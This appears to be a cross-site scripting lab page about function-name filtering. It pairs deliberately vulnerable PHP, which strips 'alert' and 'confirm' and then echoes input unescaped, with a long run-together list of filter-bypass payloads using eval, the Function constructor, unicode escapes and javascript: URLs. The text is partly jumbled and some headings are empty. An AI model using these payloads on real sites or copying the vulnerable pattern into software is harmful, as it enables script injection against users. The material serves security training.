Test XSS with JavaScript function name filtering
This lab demonstrates function name filtering, where specific JavaScript function names are blocked while allowing other code execution.
# use arjun tool to find hidden parameter
str_replace(array('alert','confirm'), '', $_GET['categoryid'])
<script>alert(1)</script>
<script>(1)</script>
Objective: Bypass the function name filter and execute JavaScript code using alternative functions or obfuscation techniques.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["categoryid"])){
$arr = array('alert','confirm');
$re = str_replace($arr, '', $_GET['categoryid']);
echo $re;
}
# use arjun tool to find hidden parameter
prompt(1) - Use prompt instead of alertconsole.log(1) - Output to consoledocument.write(1) - Write to documentprint() - Print dialog (if supported)window['al'+'ert'](1) - String concatenationeval('al'+'ert(1)') - Using evalFunction('al'+'ert(1)')() - Function constructorsetTimeout('alert(1)') - Using setTimeout<script>alert(1)</script><script>al\u0065rt(1)</script><script>String.fromCharCode(97,108,101,114,116)(1)</script><script>top.alert(1)</script>Function name filtering demonstrates:
For secure web applications:
<script>prompt(1)</script><script>console.log(1)</script><script>document.write(1)</script><script>document.title=1</script><script>window['al'+'ert'](1)</script><script>eval('al'+'ert(1)')</script><script>Function('al'+'ert(1)')()</script><script>setTimeout('alert(1)')</script><script>alert(1)</script> - HTML entities<script>al\u0065rt(1)</script> - Unicode escape<script>[].filter.constructor('al'+'ert(1)')()</script> - Array constructor<script>location='javascript:alert(1)'</script> - Location redirect